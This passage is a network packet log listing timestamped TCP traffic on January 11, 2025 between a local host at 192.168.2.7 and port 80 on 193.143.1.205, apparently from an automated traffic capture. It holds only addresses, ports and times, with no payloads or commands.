Jan 11, 2025 01:59:35.513739109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.513783932 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.513819933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.513842106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.513864040 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.513886929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.513983965 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.532275915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532304049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532315016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532368898 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.532422066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532433987 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532469034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.532552004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532562971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532599926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.532721043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532732964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532766104 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.532819033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532830954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532843113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.532857895 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.532890081 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.532999992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533011913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533065081 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.533173084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533184052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533226967 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.533353090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533365011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533375978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533385992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533399105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533415079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.533441067 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.533567905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533607960 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.533652067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533664942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533703089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.533826113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533838034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533849001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533859968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.533874035 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.533896923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.534038067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534157038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534168959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534212112 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.534318924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534331083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534342051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534359932 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.534377098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.534538984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534552097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534563065 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534574032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534584999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534595013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.534610987 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.534636974 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.534950018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535007000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535017014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535042048 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.535177946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535190105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535202026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535217047 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.535244942 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.535440922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535453081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535464048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535476923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535509109 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.535520077 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.535665035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535676003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535722971 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.535893917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535948038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.535959959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536029100 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.536081076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536092043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536103010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536115885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536118984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.536149025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.536417961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536428928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536438942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536451101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536463976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536468983 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.536489010 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.536504030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.536811113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536848068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536860943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.536885977 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.537036896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.537053108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.537065029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.537079096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.537079096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.537103891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.537256956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.537307978 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.537399054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.538212061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.542501926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.569670916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.569706917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.569717884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.569729090 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.569751024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.569762945 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.604197025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604213953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604247093 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.604321003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604334116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604357958 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.604403019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604413986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604427099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604464054 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.604464054 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.604583025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604636908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604648113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604659081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.604672909 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.604698896 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.622719049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.622750044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.622788906 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.622836113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.622848034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.622884035 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.638613939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.638636112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.638645887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.638675928 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.638695002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.638715029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.638732910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.638802052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.638813019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.638835907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.638902903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.638915062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.638932943 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.639019012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.639046907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.639070034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.639081001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.639111996 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.657102108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657114983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657125950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657170057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657171011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.657181978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657217979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.657238007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657278061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.657321930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657341003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657376051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.657463074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657541037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657552004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657562971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657579899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.657603979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.657749891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657761097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657773018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.657783985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658030987 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658041954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658052921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658065081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658076048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658152103 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.658318043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658329964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658340931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658354044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658364058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.658365011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658390045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.658415079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.658742905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658754110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658766031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658776045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658787012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658797979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658811092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.658814907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.658838034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.658854008 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.659235954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659248114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659259081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659270048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659280062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659286022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659286022 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.659292936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659322023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.659341097 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.659732103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659743071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659754992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659765005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659775972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659786940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659797907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.659809113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660049915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.660092115 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.660237074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660248041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660258055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660269976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660295963 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.660312891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.660640001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660650969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660661936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660672903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660684109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660695076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660706043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660716057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660718918 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.660727978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660737991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660749912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660763025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.660772085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.660772085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.660784006 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.660801888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.662112951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662127018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662137985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662164927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662174940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662204981 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.662226915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.662281036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662293911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662318945 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.662489891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662503004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662516117 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662527084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662530899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.662539959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662547112 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.662571907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.662673950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662687063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662738085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.662786007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662800074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662837029 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.662938118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662950993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662962914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662974119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662985086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.662986040 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.663012981 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.663162947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.663178921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.663506031 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.693937063 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.694741011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.694792032 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.694963932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.694983006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.694994926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.695005894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.695017099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.695023060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.695028067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.695030928 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.695262909 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.713294983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713325024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713335037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713366032 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.713402033 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.713536024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713547945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713558912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713677883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713731050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713732004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.713742971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713783026 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.713953018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713963985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713973999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713984013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.713994980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.714008093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.714030027 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.714030027 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.714350939 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.718698025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.729882956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.729893923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.729904890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.729914904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.729926109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.729935884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.729947090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.729988098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.730038881 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.747600079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.747620106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.747627974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.747669935 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.747669935 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.747742891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.747756004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.747811079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.747895002 CET	80	49700	193.143.1.205	192.168.2.7
